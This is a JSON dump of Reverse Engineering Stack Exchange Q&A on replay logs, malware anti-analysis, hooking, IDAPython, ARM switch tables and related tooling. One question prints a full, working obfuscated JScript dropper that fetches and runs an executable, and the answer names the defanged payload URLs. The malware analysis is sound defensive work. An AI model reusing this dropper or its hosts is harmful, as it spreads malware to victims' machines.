    {\n  global_time:177, event:`SYSCALL: rrcall_init_buffers' (state:EXITING_SYSCALL) tid:83791, ticks:42871\n rax:0x7fa27fd0b000 rbx:0xfffffffffffffff8 rcx:0xffffffffffffffff rdx:0x0 rsi:0x0 rdi:0x7ffd504447f0 rbp:0x64 rsp:0x7ffd504447a0 r8:0x0 r9:0x0 r10:0x0 r11:0x246 r12:0x7ffd50444800 r13:0x7ffd504447f0 r14:0x1474f r15:0x0 rip:0x70000038 eflags:0x246 cs:0x33 ss:0x2b ds:0x0 es:0x0 fs:0x0 gs:0x0 orig_rax:0x1bb\n}\n{\n  global_time:178, event:`SYSCALL: rt_sigprocmask' (state:ENTERING_SYSCALL) tid:83791, ticks:42872\n rax:0xffffffffffffffda rbx:0xfffffffffffffff8 rcx:0xffffffffffffffff rdx:0x0 rsi:0x7ffd50444800 rdi:0x2 rbp:0x64 rsp:0x7ffd504447a0 r8:0x0 r9:0x0 r10:0x8 r11:0x246 r12:0x7ffd50444800 r13:0x7ffd504447f0 r14:0x1474f r15:0x0 rip:0x70000038 eflags:0x246 cs:0x33 ss:0x2b ds:0x0 es:0x0 fs:0x0 gs:0x0 orig_rax:0xe\n}\n{\n  global_time:179, event:`SYSCALL: rt_sigprocmask' (state:EXITING_SYSCALL) tid:83791, ticks:42872\n rax:0x0 rbx:0xfffffffffffffff8 rcx:0xffffffffffffffff rdx:0x0 rsi:0x7ffd50444800 rdi:0x2 rbp:0x64 rsp:0x7ffd504447a0 r8:0x0 r9:0x0 r10:0x8 r11:0x246 r12:0x7ffd50444800 r13:0x7ffd504447f0 r14:0x1474f r15:0x0 rip:0x70000038 eflags:0x246 cs:0x33 ss:0x2b ds:0x0 es:0x0 fs:0x0 gs:0x0 orig_rax:0xe\n}\n{\n  global_time:180, event:`PATCH_SYSCALL' tid:83791, ticks:43212\n  { map_file:\"\", addr:0x7fa27fc2c000, length:0x1000, prot_flags:\"r-xp\", file_offset:0x0 }\n  { addr:0x7fa27fc2c000, length:0xe }\n  { addr:0x7fa27f71ff82, length:0x5 }\n  { addr:0x7fa27f71ff87, length:0x3 }\n  { addr:0x7fa27f9f3349, length:0x3a }\n}\n
    \n\n

    You could also look at another recording interface, e.g. PANDA's. The rr_print utility in PANDA can print out the log of nondeterministic events, e.g.:

    \n\n
    {guest_instr_count=4180 pc=0x8265a2c8, secondary=0x82743c28}\n        RR_INTERRUPT_REQUEST_2 from RR_CALLSITE_CPU_EXEC_1\n{guest_instr_count=4180 pc=0x8265a2c8, secondary=0x82743c28}\n        RR_INTERRUPT_REQUEST_2 from RR_CALLSITE_CPU_EXEC_4\n{guest_instr_count=4207 pc=0x8d0703f6, secondary=0x848f9818}\n        RR_INTERRUPT_REQUEST_2 from RR_CALLSITE_CPU_EXEC_1\n{guest_instr_count=4207 pc=0x8d0703f6, secondary=0x848f9818}\n        RR_INPUT_4 129 from RR_CALLSITE_CPU_EXEC_2\n{guest_instr_count=4234 pc=0x83e3c35e, secondary=0x82750380}\n        RR_INPUT_8 3094319282304 from RR_CALLSITE_RDTSC\n{guest_instr_count=4451 pc=0x82a4809a, secondary=0x844318d0}\n        RR_INPUT_4 61 from RR_CALLSITE_IOPORT_READ\n{guest_instr_count=4844 pc=0x82a4809a, secondary=0x00000000}\n        RR_INPUT_4 61 from RR_CALLSITE_IOPORT_READ\n{guest_instr_count=4859 pc=0x82a4809a, secondary=0x00002ee0}\n        RR_INPUT_4 129 from RR_CALLSITE_IOPORT_READ\n{guest_instr_count=5576 pc=0x82655e7e, secondary=0x82746c00}\n        RR_INPUT_8 3094319823647 from RR_CALLSITE_RDTSC\n{guest_instr_count=5630 pc=0x82a34c86, secondary=0x82746c00}\n        RR_INTERRUPT_REQUEST_2 from RR_CALLSITE_CPU_EXEC_1\n
    \n\n

    If you can clarify what you're looking I can likely give you a better answer here, though.

    \n" }, { "Id": "11981", "CreationDate": "2016-02-09T22:47:25.430", "Body": "

    I always wondered how much time is needed to get rid of all that anti-VM/crypto/protector/anti-debug stuff (without analyzing actual payload and purpose), especially if you're dealing with malware on a daily basis? I would definitely like to get answer from AV industry experts.

    \n", "Title": "What is the average time for \"defusing\" malware self-protection mechanisms?", "Tags": "|anti-debugging|malware|", "Answer": "

    Based on a couple of years of performing and teaching (Malware Bootcamp at University of Bonn, Germany) reverse engineering with focus on malware analysis, I mostly try to skip any \"easy\" stepping stones (malware capability of detecting analysis environments, be it VM, debugger, ...) to get to an unpacked state of the malware and then focus analysis on this in IDA alongside debugging it.

    \n\n

    Preparation of your own tools, e.g. setting up a reasonably proportioned (cores, HDD space, RAM) and concealed (removal of VM fragments) VM as explained by CrazyFrog can automagically carry a lot of load in this domain. I think I rarely spend more than minutes (i.e. native runtime of packer) to get to that unpacked state.

    \n\n

    For understanding those protections and detections, otherwise +1 for Peter Ferrie's reference. \nIf you want to step through those in a debugger, you can use my defanged open source implementation of those.\nNewer detection approaches not covered by the above source frequently involve utilizing Windows Management Instrumentation (WMI). Often to achieve the same derivation of characteristics that can lead to the conclusion you are in an analysis environment.

    \n\n

    If there is protection in the sample itself, it's most often crypted strings or obfuscated API calls (Andromeda, Dridex, VM-Zeus come to mind), rarely execution-only decryption of code as seen in Fobber. \nIn this case, it obviously becomes part of the analysis itself, or at least a pre-stage.

    \n" }, { "Id": "11994", "CreationDate": "2016-02-11T07:41:55.763", "Body": "

    I have a friend with PC which is infected with some sort of \"RANSOMWARE\" - a type of malware where will encrypt your files(images,videos and documents) and ask for payment for decryption.

    \n\n

    I managed to take out the root processes of the virus(which encrypt and change all of document, images and video files to \"*.micro\" files) but recovering the infected data is a bit difficult and not much resources available online yet.

    \n\n

    Here is the .js script file that triggers the malware:

    \n\n
    var _base64Idx = [\n/*43 -43 = 0*/\n/*'+',  1,  2,  3,'/' */\n62, -1, -1, -1, 63,\n\n/*'0','1','2','3','4','5','6','7','8','9' */\n52, 53, 54, 55, 56, 57, 58, 59, 60, 61,\n\n/*15, 16, 17,'=', 19, 20, 21 */\n-1, -1, -1, 64, -1, -1, -1,\n\n/*65 - 43 = 22*/\n/*'A','B','C','D','E','F','G','H','I','J','K','L','M', */\n0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12,\n\n/*'N','O','P','Q','R','S','T','U','V','W','X','Y','Z' */\n13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25,\n\n/*91 - 43 = 48 */\n/*48, 49, 50, 51, 52, 53 */\n-1, -1, -1, -1, -1, -1,\n\n/*97 - 43 = 54*/\n/*'a','b','c','d','e','f','g','h','i','j','k','l','m' */\n26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38,\n\n/*'n','o','p','q','r','s','t','u','v','w','x','y','z' */\n39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51\n];\n\nfunction decode(input, output, offset) {\nvar out = output;\nif(!out) {\n    out = new Uint8Array(Math.ceil(input.length / 4) * 3);\n}\n\n// remove all non-base64 characters\ninput = input.replace(/[^A-Za-z0-9\\+\\/\\=]/g, '');\n\noffset = offset || 0;\nvar enc1, enc2, enc3, enc4;\nvar i = 0, j = offset;\n\nwhile(i < input.length) {\n    enc1 = _base64Idx[input.charCodeAt(i++) - 43];\n    enc2 = _base64Idx[input.charCodeAt(i++) - 43];\n    enc3 = _base64Idx[input.charCodeAt(i++) - 43];\n    enc4 = _base64Idx[input.charCodeAt(i++) - 43];\n\n    out[j++] = (enc1 << 2) | (enc2 >> 4);\n    if(enc3 !== 64) {\n        // decoded at least 2 bytes\n        out[j++] = ((enc2 & 15) << 4) | (enc3 >> 2);\n        if(enc4 !== 64) {\n            // decoded 3 bytes\n            out[j++] = ((enc3 & 3) << 6) | enc4;\n        }\n    }\n}\n\n// make sure result is the exact decoded length\nreturn output ?\n    (j - offset) :\n    out.subarray(0, j);\n}\n\nvar tEuosqyTkm = function (packedText) {\n\nvar buffer = [];\nvar length = decode(packedText, buffer);\nvar charCodeAt = \"charCodeAt\";\nvar result = \"\";\nfor (var i = 0; i < length; i++) {\n    result += String.fromCharCode(buffer[i] ^ \"bVE6YUkX3beIQAEG\"[charCodeAt](i % \"bVE6YUkX3beIQAEG\".length));\n}\nreturn result;\n};\nvar aideN66 = function() {\nvar vapidAuw = function() {};\nvapidAuw.prototype.create = function(disapprobationQvY) {\n    return WScript.CreateObject(disapprobationQvY);\n};\nreturn vapidAuw;\n}();\n\n(function() {\nvar nettlepkm = new aideN66();\nvar banterKA3 = 200;\nvar inspireRpB = tEuosqyTkm('\"JRMR\"');\nvar pallidK2I = tEuosqyTkm('\"Jy4gVQ==\"');\nvar sultryiRC = tEuosqyTkm('\"NQUmRDAlH3ZgCgAlPQ==\"');\nvar constrainedfQW = tEuosqyTkm('\"LwUdexVnRQB+Li0dBRE=\"');\nvar interpolatevY1 = tEuosqyTkm('\"BDx8AAg0ABdDMA==\"');\nvar denouementpK3 = tEuosqyTkm('\"KgcBcCwRER56Jw==\"');\nvar gratisE9J = tEuosqyTkm('\"CG4EQWAYCg90Lg==\"');\nvar rangeuR2 = tEuosqyTkm('\"Jz0LeGwnBWwFIw==\"');\nvar broochIQm = tEuosqyTkm('\"MzoheDZsKhddBQ==\"');\nvar smatteringBY6 = tEuosqyTkm('\"NhQQXwwiOABAVA==\"');\nvar interminablecBc = tEuosqyTkm('\"MzwOBioiPyJwLQ==\"');\nvar sonorousmpK = tEuosqyTkm('\"IxIKchs=\"');\nvar evidentzgN = tEuosqyTkm('\"MSI3Uzg4\"');\nvar convalesceWKQ = tEuosqyTkm('\"RwIAewlwNw==\"');\nvar justifyaTv = tEuosqyTkm('\"TDM9Uw==\"');\nvar cedeWsU = Math.pow(2, 10) * 249;\nvar foilgEV = [ tEuosqyTkm('\"CiIxRmN6RDBWDgkmKC4wKQU7JFgoJEU7XA9Ke2dvID8H\"'), tEuosqyTkm('\"CiIxRmN6RDBWDgkmKC4wKQU7JFg/M0U7XA9Ke2dvID8H\"') ];\nvar suavityzSi = 2097152;\nvar flagHQx = nettlepkm.create(sultryiRC);\nvar endemicfVU = nettlepkm.create(constrainedfQW);\nvar evidentv5F = nettlepkm.create(sonorousmpK + tEuosqyTkm('\"TA==\"') + evidentzgN);\nvar humbleM87 = flagHQx.ExpandEnvironmentStrings(convalesceWKQ);\nvar weltPvA = humbleM87 + suavityzSi + justifyaTv;\nvar roseatef1b = false;\nfor (var masticatehJi = 0; masticatehJi < foilgEV.length; masticatehJi++) {\n    try {\n        var invocationIOk = foilgEV[masticatehJi];\n        endemicfVU.open(inspireRpB, invocationIOk, false);\n        endemicfVU.send();\n        if (endemicfVU.status == banterKA3) {\n            try {\n                evidentv5F.open();\n                evidentv5F.type = 1;\n                evidentv5F.write(endemicfVU[tEuosqyTkm('\"EDM2RjY7GD1xDQEw\"')]);\n                if (evidentv5F.size > cedeWsU) {\n                    masticatehJi = foilgEV.length;\n                    evidentv5F.position = 0;\n                    evidentv5F.saveToFile(weltPvA, 2);\n                    roseatef1b = true;\n                }\n            } finally {\n                evidentv5F.close();\n            }\n        }\n    } catch (ignored) {}\n}\nif (roseatef1b) {\n    flagHQx[pallidK2I](humbleM87 + Math.pow(2, 21));\n}\n})();\n
    \n\n

    Anybody here can help me out on reverse engineering this script to decrypt/recover the encrypted files?

    \n\n

    Thank you :)

    \n\n

    P.S. FYI, this \"ransomware\" script circulating through emails as attachment since 9th of Feb 2016.

    \n", "Title": "RANSOMWARE SCRIPT decryption", "Tags": "|malware|ransomware|", "Answer": "

    This is just a simple downloader script.

    \n\n

    it will download and run an executable from

    \n\n

    hxxp://helloyoungmanff.com/26.exe (link does not works)

    \n\n

    hxxp://helloyoungmanqq.com/26.exe (link works)

    \n\n

    VT URL

    \n" }, { "Id": "12002", "CreationDate": "2016-02-11T16:14:37.220", "Body": "

    I've been trying to detour a nullsub, this function is used with log purposes, but as the program is compiled under release flags it got removed and I'd like to restore it.

    \n\n

    IDA reports as follow:

    \n\n
    .text:004BAC10 ; void __thiscall nullsub_2(void *)\n.text:004BAC10 nullsub_2       proc near       \n.text:004BAC10                 retn\n.text:004BAC10 nullsub_2       endp\n
    \n\n

    My attempt is to detour this address with my own log function, but Microsoft Detours 3.0 throws ERROR_INVALID_BLOCK

    \n\n

    I think I get this error as it does not have space to place the jump function, and I don't have any idea how I can fix it.

    \n", "Title": "Detour null function", "Tags": "|ida|c++|function-hooking|", "Answer": "

    Based on http://pastebin.com/qDMP0yz0, you have enough space to make this work.

    \n\n

    The easiest solution is to patch your target executable such that the data from Virtual Address 0x004BAC10 through 0x004BAC1E is all nops (0x90 bytes), and patch in a retn (0xC3 byte) at Virtual Address 0x004BAC1F.

    \n\n

    You'll then be able to detour the function with Microsoft Detours.

    \n\n

    If patching the EXE isn't an option, let us know and I can look at Detours to suggest what needs to be changed in the Detours library itself.

    \n" }, { "Id": "12008", "CreationDate": "2016-02-11T19:23:03.657", "Body": "

    \"IDA

    \n\n

    How do I get the 8B 45 FC corresponding to the mov eax, [rbp+var_4]\netc. via idapython?

    \n\n

    I did not come up with a better solution than

    \n\n
      \n
    1. Getting the instruction via idautils.DecodeInstruction()
      2. \n
    2. Getting the instruction's size in bytes
      3. \n
    3. Looping over all bytes of the instruction and fetching the content via idc.Byte()
      4. \n
    \n\n

    Is there a better solution, e.g. an api call (which I did not find)?

    \n", "Title": "Idapython: How to get the opcode bytes corresponding to an instruction?", "Tags": "|idapython|idapro-sdk|", "Answer": "

    Another solution:

    \n\n
    ea = ScreenEA() # Or whatever you want\nbuf = idc.GetManyBytes(ea, ItemSize(ea))\n
    \n" }, { "Id": "12012", "CreationDate": "2016-02-12T17:38:25.150", "Body": "

    I am new to reverse engineering code. I am currently trying to reverse engineer code that is poorly documented. The reason being is that my system will be based of the code I am reverse engineering. It is currently too complex to simple go through.

    \n\n

    A friend of mine recommend I use a diagram called a USES diagram. He explained is as such. The diagram displays the modules and how each module connects to one another. The arrows display the data transfer between the modules. IT can be described that M1 uses M12 uses M2.

    \n\n

    I have been looking on the net to find a better description of this and how I can create such a diagram and how I can define a module. I am attempting to define the architecture of the program. Unfortunately, a google search turned up very little.

    \n\n

    I was wondering, is there another name for this type of diagram? I was describing it to another friend and he says that it sounded like a special case of a UML diagram.

    \n", "Title": "What is a USES Diagram?", "Tags": "|code-modeling|", "Answer": "

    It sounds like your friend is describing a dependency graph.

    \n" }, { "Id": "12014", "CreationDate": "2016-02-12T17:55:31.500", "Body": "

    I am totally blind and want to learn to do reverse engineering so I can advance my career. Unfortunately, IDA Pro, Immunity and OllyDbg are all not accessible to a blind person using a screenreader.

    \n\n

    Are there any good alternatives on both windows and Linux for these tools?\nI have used gdb on Linux a little and WinDbg on windows as well.

    \n\n

    I just need a recommendation on what is industry standard if the three biggies can't be used?

    \n\n

    Thanks,\nDon

    \n", "Title": "Best alternatives to IDA Pro, Immunity and OllyDbg for a blind user", "Tags": "|ida|ollydbg|tools|", "Answer": "

    Sorry for the late answer but I only now noticed this question.

    \n\n

    Disclaimer: I work at Hex-Rays, mainly on IDA development.

    \n\n

    It so happens that we have a few blind users. With their help, in recent versions of IDA (especially 6.95) we made big improvements for accessibility, especially on Windows and Linux (OS X is working somewhat but not as well). So I suggest you to try the demo version to see how it works with your screen reader. Feel free to contact us with any issues; we're always willing to make IDA even more accessible.

    \n" }, { "Id": "12019", "CreationDate": "2016-02-12T22:21:56.330", "Body": "

    I am wanting to examine changes made to Windows after an update is made. I would like to see the actually files that were patched and see what in the code might have been changed and see what the problem was.

    \n\n

    So if windows updates MS0xxx buffer overflow. I would like to see what the problem was and what was changed to fix it.

    \n\n

    Is there a way to do this ?

    \n", "Title": "Get bindiff of operating system or modified files post upgrade", "Tags": "|windows|patch-reversing|operating-systems|bin-diffing|", "Answer": "
    \n

    I would like to see the actually files that were patched ...

    \n
    \n\n\n\n
    \n

    ... and see what in the code might have been changed and see what the problem was.

    \n
    \n\n

    As @Neitsa said, see how can I diff two x86 binaries at assembly code level?

    \n" }, { "Id": "12022", "CreationDate": "2016-02-13T05:07:04.877", "Body": "

    Learning how to use radare2 while getting the feel for crackmes. Following the steps for Flare-on 2015 Challenge One on hxxp://solidsec.blogspot.com/2015/10/ctf-fire-eye-flareon-2015-challenges-1-3.html (change hxxp to http, not enough cred to embed the link after adding the two pictures :-( sorry)

    \n\n\n\n

    \"enter

    \n\n

    I get all FFs.

    \n\n

    The documentation of the site shows actual values versus all FFs as seen below:\n\"enter

    \n\n

    Why?

    \n\n

    Problem with my copy of radare2 (running off of Remnux) or not loading the exe right into r2? I realize the number of variables here is just about endless, but hoping it is just something simple that I'm missing due to being new to RE. Thanks!

    \n", "Title": "Radare2 Flare-on 2015, Why results different?", "Tags": "|radare2|", "Answer": "

    Radare2 from remnux is probably 5 years old, use radare2 from github version : git clone https://github.com/radare/radare2 && cd radare2 && ./sys/install.sh

    \n" }, { "Id": "12026", "CreationDate": "2016-02-13T20:49:45.590", "Body": "

    \"enterwhen i input .exe file to PEiD v0.95 it gives output like\n\"Borland Delphi 6.0 - 7.0 [Overlay]\"

    \n\n

    Now i want to retrieve code from .exe file. So how to do that . Can any one give me right path for that.

    \n", "Title": "How to extract code form .exe file having signature Borland Delphi 6.0 - 7.0 [Overlay]", "Tags": "|debugging|delphi|exe|", "Answer": "

    I had the same question.. Unfortunatly thre is no tool that can provides you the original source code. But the perfect solution that I found is to use OllyDbg or IdaPro. In this way you can navigate inside the code reading ASM lenguage.

    \n\n

    If ASM is a problem for you.. IdaPro can probably help showing a sort of pseudocode, that is not exactly like the original source code, but it can give you an idea about the CodeFlow

    \n" }, { "Id": "12033", "CreationDate": "2016-02-15T02:15:17.243", "Body": "

    for some months nearly a year of reversing an app not for cracking but my is to see the difference between the registered version and the unregistered one.\naccording to my research both apps(registered or not) displays a dialog but the unregistered version have two header files in different position, I found that using XORSearch and I thought like there is another executable inside the unregistered app then and I also found some calls like

    \n\n
         005A0B8E    mov        edx,5A0D88; '[my documents]'\n     005A0B93    call       @UStrLAsg\n     005A0B98    lea        edx,[ebp-18]\n     005A0B9B    mov        eax,dword ptr [ebp-4]\n     005A0B9E    call       LowerCase\n     005A0BA3    mov        edx,dword ptr [ebp-18]\n     005A0BA6    mov        eax,dword ptr [ebp-0C]\n     005A0BA9    call       Pos\n     005A0BAE    test       eax,eax\n    >005A0BB0    jle        005A0BE1\n     005A0BB2    lea        edx,[ebp-8]\n     005A0BB5    mov        eax,5\n     005A0BBA    call       005A0A7C\n     005A0BBF    movzx      eax,byte ptr ds:[5A0D78]; 0x3\n     005A0BC6    push       eax\n     005A0BC7    push       ebx\n     005A0BC8    lea        edx,[ebp-1C]\n     005A0BCB    mov        eax,dword ptr [ebp-4]\n     005A0BCE    call       LowerCase\n     005A0BD3    mov        eax,dword ptr [ebp-1C]\n     005A0BD6    mov        ecx,dword ptr [ebp-8]\n     005A0BD9    mov        edx,dword ptr [ebp-0C]\n     005A0BDC    call       StringReplace\n     005A0BE1    lea        eax,[ebp-0C]\n     005A0BE4    mov        edx,5A0DB4; '[all users documents]'\n     005A0BE9    call       @UStrLAsg\n     005A0BEE    lea        edx,[ebp-20]\n     005A0BF1    mov        eax,dword ptr [ebp-4]\n     005A0BF4    call       LowerCase\n     005A0BF9    mov        edx,dword ptr [ebp-20]\n     005A0BFC    mov        eax,dword ptr [ebp-0C]\n     005A0BFF    call       Pos\n     005A0C04    test       eax,eax\n    >005A0C06    jle        005A0C37\n     005A0C08    lea        edx,[ebp-8]\n     005A0C0B    mov        eax,2E\n     005A0C10    call       005A0A7C\n     005A0C15    movzx      eax,byte ptr ds:[5A0D78]; 0x3\n     005A0C1C    push       eax\n     005A0C1D    push       ebx\n     005A0C1E    lea        edx,[ebp-24]\n     005A0C21    mov        eax,dword ptr [ebp-4]\n     005A0C24    call       LowerCase\n     005A0C29    mov        eax,dword ptr [ebp-24]\n     005A0C2C    mov        ecx,dword ptr [ebp-8]\n     005A0C2F    mov        edx,dword ptr [ebp-0C]\n     005A0C32    call       StringReplace\n     005A0C37    lea        eax,[ebp-0C]\n     005A0C3A    mov        edx,5A0DEC; '[program folder]'\n     005A0C3F    call       @UStrLAsg\n     005A0C44    lea        edx,[ebp-28]\n     005A0C47    mov        eax,dword ptr [ebp-4]\n     005A0C4A    call       LowerCase\n     005A0C4F    mov        edx,dword ptr [ebp-28]\n     005A0C52    mov        eax,dword ptr [ebp-0C]\n     005A0C55    call       Pos\n     005A0C5A    test       eax,eax\n    >005A0C5C    jle        005A0CA5\n     005A0C5E    lea        edx,[ebp-30]\n     005A0C61    mov        eax,[005CC76C]; ^Application:TApplication\n     005A0C66    mov        eax,dword ptr [eax]\n     005A0C68    call       TApplication.GetExeName\n     005A0C6D    mov        eax,dword ptr [ebp-30]\n     005A0C70    lea        edx,[ebp-2C]\n     005A0C73    call       ExtractFileDir\n     005A0C78    mov        eax,dword ptr [ebp-2C]\n     005A0C7B    lea        edx,[ebp-8]\n     005A0C7E    call       IncludeTrailingPathDelimiter\n     005A0C83    movzx      eax,byte ptr ds:[5A0D78]; 0x3\n     005A0C8A    push       eax\n     005A0C8B    push       ebx\n     005A0C8C    lea        edx,[ebp-34]\n     005A0C8F    mov        eax,dword ptr [ebp-4]\n     005A0C92    call       LowerCase\n     005A0C97    mov        eax,dword ptr [ebp-34]\n     005A0C9A    mov        ecx,dword ptr [ebp-8]\n     005A0C9D    mov        edx,dword ptr [ebp-0C]\n     005A0CA0    call       StringReplace\n     005A0CA5    lea        eax,[ebp-0C]\n     005A0CA8    mov        edx,5A0E1C; '[desktop]'\n     005A0CAD    call       @UStrLAsg\n     005A0CB2    lea        edx,[ebp-38]\n     005A0CB5    mov        eax,dword ptr [ebp-4]\n     005A0CB8    call       LowerCase\n     005A0CBD    mov        edx,dword ptr [ebp-38]\n     005A0CC0    mov        eax,dword ptr [ebp-0C]\n     005A0CC3    call       Pos\n     005A0CC8    test       eax,eax\n    >005A0CCA    jle        005A0CF8\n     005A0CCC    lea        edx,[ebp-8]\n     005A0CCF    xor        eax,eax\n     005A0CD1    call       005A0A7C\n     005A0CD6    movzx      eax,byte ptr ds:[5A0D78]; 0x3\n     005A0CDD    push       eax\n     005A0CDE    push       ebx\n     005A0CDF    lea        edx,[ebp-3C]\n     005A0CE2    mov        eax,dword ptr [ebp-4]\n     005A0CE5    call       LowerCase\n     005A0CEA    mov        eax,dword ptr [ebp-3C]\n     005A0CED    mov        ecx,dword ptr [ebp-8]\n     005A0CF0    mov        edx,dword ptr [ebp-0C]\n     005A0CF3    call       StringReplace\n     005A0CF8    lea        edx,[ebp-40]\n     005A0CFB    mov        eax,dword ptr [ebx]\n     005A0CFD    call       ExcludeTrailingPathDelimiter\n     005A0D02    mov        edx,dword ptr [ebp-40]\n     005A0D05    mov        eax,ebx\n     005A0D07    call       @UStrAsg\n
    \n\n

    is it possible to extract an executable inside another executable an d how?

    \n", "Title": "how to extract a file embedded in an .exe?", "Tags": "|disassembly|debugging|delphi|", "Answer": "

    It is possible. Where is the embedded executable located? Based on my experience there are a couple of locations:

    \n\n\n\n

    NOTE: If the original file has overlay, it would be a good idea to copy that overlay to the embedded file once you extract it because it is possible that the dumped file will make use of the overlay data.

    \n" }, { "Id": "12039", "CreationDate": "2016-02-15T16:12:19.280", "Body": "

    I'm working on a disassembler for ARM Thumb2 (stripped) binaries. I can already recover the CFG of Basic Blocks (BB) that use direct jumps. My next goal is to handle indirect jumps. I'm currently working on identifying targets of switch statements which I'll discuss based on the following example:

    \n\n
    int main(int argc, char** argv){\n  int i = 0;\n  switch (argc) {\n    case 0: i++; break;\n    case 1: i+=2; break;\n    case 3: i+=3; break;\n    case 6: i+=6; break;\n    case 5: i+=8; break;\n    case 7: i+=10; break;\n    default: i+=87; break;\n  }\n  return i;\n}\n
    \n\n

    When compiling the above example using:

    \n\n
    \n

    arm-linux-gnueabihf-gcc-4.8 -o3 -mthumb main.c -o main.out

    \n
    \n\n

    Disassembling main using objdump show that the switch table data words start at 0x83d8 as can be seen here:

    \n\n
    83bc:       b480            push    {r7}\n83be:       b085            sub     sp, #20\n83c0:       af00            add     r7, sp, #0\n83c2:       6078            str     r0, [r7, #4]\n83c4:       6039            str     r1, [r7, #0]\n83c6:       2300            movs    r3, #0\n83c8:       60fb            str     r3, [r7, #12]\n83ca:       687b            ldr     r3, [r7, #4]\n83cc:       2b07            cmp     r3, #7\n83ce:       d82b            bhi.n   8428 <main+0x6c>\n83d0:       a201            add     r2, pc, #4      ; (adr r2, 83d8 <main+0x1c>)\n83d2:       f852 f023       ldr.w   pc, [r2, r3, lsl #2]\n83d6:       bf00            nop\n83d8:       000083f9        .word   0x000083f9\n83dc:       00008401        .word   0x00008401\n83e0:       00008429        .word   0x00008429\n83e4:       00008409        .word   0x00008409\n83e8:       00008429        .word   0x00008429\n83ec:       00008419        .word   0x00008419\n83f0:       00008411        .word   0x00008411\n83f4:       00008421        .word   0x00008421\n83f8:       68fb            ldr     r3, [r7, #12]\n83fa:       3301            adds    r3, #1\n83fc:       60fb            str     r3, [r7, #12]\n83fe:       e017            b.n     8430 <main+0x74>\n8400:       68fb            ldr     r3, [r7, #12]\n8402:       3302            adds    r3, #2\n8404:       60fb            str     r3, [r7, #12]\n8406:       e013            b.n     8430 <main+0x74>\n8408:       68fb            ldr     r3, [r7, #12]\n840a:       3303            adds    r3, #3\n840c:       60fb            str     r3, [r7, #12]\n840e:       e00f            b.n     8430 <main+0x74>\n8410:       68fb            ldr     r3, [r7, #12]\n8412:       3306            adds    r3, #6\n8414:       60fb            str     r3, [r7, #12]\n8416:       e00b            b.n     8430 <main+0x74>\n8418:       68fb            ldr     r3, [r7, #12]\n841a:       3308            adds    r3, #8\n841c:       60fb            str     r3, [r7, #12]\n841e:       e007            b.n     8430 <main+0x74>\n8420:       68fb            ldr     r3, [r7, #12]\n8422:       330a            adds    r3, #10\n8424:       60fb            str     r3, [r7, #12]\n8426:       e003            b.n     8430 <main+0x74>\n8428:       68fb            ldr     r3, [r7, #12]\n842a:       3357            adds    r3, #87 ; 0x57\n842c:       60fb            str     r3, [r7, #12]\n842e:       bf00            nop\n8430:       68fb            ldr     r3, [r7, #12]\n8432:       4618            mov     r0, r3\n8434:       3714            adds    r7, #20\n8436:       46bd            mov     sp, r7\n8438:       f85d 7b04       ldr.w   r7, [sp], #4\n843c:       4770            bx      lr\n843e:       bf00            nop\n
    \n\n

    Observations:

    \n\n\n\n

    Questions:

    \n\n
      \n
    1. Can the aforementioned observations be generalized? in other words, can I assume the this is the (de-facto) standard way for (most) ARM compilers to implement switch statements?
      2. \n
    2. Why are the addresses stored in data words odd? I can't see any mode switching between ARM/Thumb here. For example, the default case can be found at 0x8428 but the corresponding address is stored as 0x00008429.
      3. \n
    \n", "Title": "Identify targets of a switch table in ARM", "Tags": "|disassembly|arm|thumb2|", "Answer": "

    No, you can't assume that's how most ARM compilers will implement switch statements. For example, here's gcc 5.2.1 on that same code:

    \n\n
    cosimo:~ moyix$ arm-none-eabi-gcc-5.2.1 -o3 -mthumb -c x.c -o x.o\ncosimo:~ moyix$ arm-none-eabi-objdump -d x.o\n\nx.o:     file format elf32-littlearm\n\n\nDisassembly of section .text:\n\n00000000 <main>:\n   0:   b580        push    {r7, lr}\n   2:   b084        sub sp, #16\n   4:   af00        add r7, sp, #0\n   6:   6078        str r0, [r7, #4]\n   8:   6039        str r1, [r7, #0]\n   a:   2300        movs    r3, #0\n   c:   60fb        str r3, [r7, #12]\n   e:   687b        ldr r3, [r7, #4]\n  10:   2b07        cmp r3, #7\n  12:   d81d        bhi.n   50 <main+0x50>\n  14:   687b        ldr r3, [r7, #4]\n  16:   009a        lsls    r2, r3, #2\n  18:   4b13        ldr r3, [pc, #76]   ; (68 <main+0x68>)\n  1a:   18d3        adds    r3, r2, r3\n  1c:   681b        ldr r3, [r3, #0]\n  1e:   469f        mov pc, r3\n  20:   68fb        ldr r3, [r7, #12]\n  22:   3301        adds    r3, #1\n  24:   60fb        str r3, [r7, #12]\n  26:   e017        b.n 58 <main+0x58>\n  28:   68fb        ldr r3, [r7, #12]\n  2a:   3302        adds    r3, #2\n  2c:   60fb        str r3, [r7, #12]\n  2e:   e013        b.n 58 <main+0x58>\n  30:   68fb        ldr r3, [r7, #12]\n  32:   3303        adds    r3, #3\n  34:   60fb        str r3, [r7, #12]\n  36:   e00f        b.n 58 <main+0x58>\n  38:   68fb        ldr r3, [r7, #12]\n  3a:   3306        adds    r3, #6\n  3c:   60fb        str r3, [r7, #12]\n  3e:   e00b        b.n 58 <main+0x58>\n  40:   68fb        ldr r3, [r7, #12]\n  42:   3308        adds    r3, #8\n  44:   60fb        str r3, [r7, #12]\n  46:   e007        b.n 58 <main+0x58>\n  48:   68fb        ldr r3, [r7, #12]\n  4a:   330a        adds    r3, #10\n  4c:   60fb        str r3, [r7, #12]\n  4e:   e003        b.n 58 <main+0x58>\n  50:   68fb        ldr r3, [r7, #12]\n  52:   3357        adds    r3, #87 ; 0x57\n  54:   60fb        str r3, [r7, #12]\n  56:   46c0        nop         ; (mov r8, r8)\n  58:   68fb        ldr r3, [r7, #12]\n  5a:   0018        movs    r0, r3\n  5c:   46bd        mov sp, r7\n  5e:   b004        add sp, #16\n  60:   bc80        pop {r7}\n  62:   bc02        pop {r1}\n  64:   4708        bx  r1\n  66:   46c0        nop         ; (mov r8, r8)\n  68:   00000000    .word   0x00000000\n
    \n\n

    And there are more complex schemes possible, including things like binary search on the switch value to find the right case. In general you need to do a more complex analysis to recover switch statements. Some academic work exists on this topic, e.g.:

    \n\n

    http://www.cs.tufts.edu/~nr/cs257/archive/cristina-cifuentes/switch-proof.pdf

    \n\n

